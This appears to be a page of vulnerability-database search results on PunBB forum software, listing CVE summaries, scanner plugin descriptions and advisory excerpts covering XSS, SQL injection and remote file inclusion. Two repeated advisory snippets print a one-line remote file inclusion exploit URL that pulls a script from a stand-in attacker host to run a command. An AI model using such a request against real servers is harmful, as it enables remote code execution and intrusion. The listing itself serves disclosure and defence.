449 matches found
PunBB URL Quote Tag XSS
The remote web server contains a PHP application that is prone to cross-site scripting attacks. Description : According to its banner, the remote version of PunBB is vulnerable to cross-site scripting flaws because the application does not validate URL and quote tags. With a specially-crafted URL...
PunBB profile.php XSS
According to its banner, the version of PunBB installed on the remote host fails to properly sanitize user input to the script SPDX-FileCopyrightText: 2004 David Maciejak Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders...
PunBB search dropdown information disclosure
According to its banner, the remote version of PunBB reportedly may include protected forums in a search dropdown list regardless of whether a user can view those forums. SPDX-FileCopyrightText: 2004 David Maciejak Some text descriptions might be excerpted from a referenced sources, and are...
PunBB detection
The remote web server contains a database management application written in PHP. Description : This script detects whether the remote host is running PunBB and extracts the version number and location if found. PunBB is an open-source discussion board written in PHP. SPDX-FileCopyrightText: 2005...
CVE-2005-3328
PHP remote file inclusion vulnerability in common.php in PunBB 1.1.2 through 1.1.5 allows remote attackers to execute arbitrary code via the punroot parameter...
CVE-2005-3328
CVE-2005-3328 relates to a PHP remote file inclusion in PunBB, specifically in common.php where the pun_root parameter enables an attacker to execute arbitrary code. Affected software: PunBB 1.1.2 through 1.1.5. Underlying issue: remote code execution via user-supplied pun_root. Impact per the en...
CVE-2005-3328
PHP remote file inclusion vulnerability in common.php in PunBB 1.1.2 through 1.1.5 allows remote attackers to execute arbitrary code via the punroot parameter...
punbb-1.1.2.txt
Remote File Inclusion in forum PunBB Date:24/10/2005 Severity: High version: 1.1.2 1.1.5 The bug reside in common.php Exploit : http://www.host.com/forum/include/common.php?punroot=http://www.hostevil.com/cmd?&=id Discovery by RoDheDoR L-G-H Team http://www.lezr.com FREE pop-up blocking with the...
Remote File Inclusion in forum PunBB
Remote File Inclusion in forum PunBB Date:24/10/2005 Severity: High version: 1.1.2 1.1.5 The bug reside in common.php Exploit : http://www.host.com/forum/include/common.php?punroot=http://www.hostevil.com/cmd?&=id Discovery by RoDheDoR L-G-H Team http://www.lezr.com FREE pop-up blocking with the...
PunBB < 1.2.9 search.php old_searches Parameter SQL Injection
Binary data 3260.prm...
PunBB search.php old_searches Parameter SQL Injection
The version of PunBB installed on the remote host fails to sanitize user-supplied input to the 'oldsearches' parameter of the 'search.php' script before using it in database queries. Provided PHP's 'registerglobals' setting is enabled, an attacker may be able to exploit this issue to delete...
PunBB 1.2.x - search.php SQL Injection
PunBB 1.2.x - search.php SQL Injection source: https://www.securityfocus.com/bid/15114/info PunBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could...
[KAPDA::#6] Punbb SQL Injection Vulnerability
KAPDA::6 Punbb SQL Injection Vulnerability Punbb search.php SQL Injection Vulnerability KAPDA New advisory Vulnerable products : Punbb V 1.2.8 and 1.2.7 are tested,Hopefully all other versions Vendor: http://www.punbb.org/ Vulnerability: Sql injection About Punbb -------------------- PunBB is a...
PunBB 1.2.x - 'search.php' SQL Injection
source: https://www.securityfocus.com/bid/15114/info PunBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could result in a compromise of the applicatio...
CVE-2005-3078
Cross-site scripting XSS vulnerability in PunBB before 1.2.8 allows remote attackers to inject arbitrary web script or HTML via the "forgotten e-mail" feature...
CVE-2005-3079
PunBB before 1.2.8 allows remote attackers to perform "code inclusion" via the user language selection...
CVE-2005-3078
Cross-site scripting XSS vulnerability in PunBB before 1.2.8 allows remote attackers to inject arbitrary web script or HTML via the "forgotten e-mail" feature...
CVE-2005-3079
PunBB before 1.2.8 allows remote attackers to perform "code inclusion" via the user language selection...
CVE-2005-3078
PunBB before 1.2.8 contains an XSS vulnerability exploitable via the forgotten e-mail feature, allowing remote attackers to inject arbitrary script or HTML. The issue is cataloged as CVE-2005-3078 with a NVD base score of 4.3 (MEDIUM) and an attack vector of NETWORK with no authentication require...
CVE-2005-3079
PunBB before 1.2.8 is affected by a file-inclusion vulnerability triggered via the user language selection, allowing an attacker with an account to cause PHP code execution or read local files. The Nessus plugin details a broader set of flaws, including a similar file-inclusion path that can exec...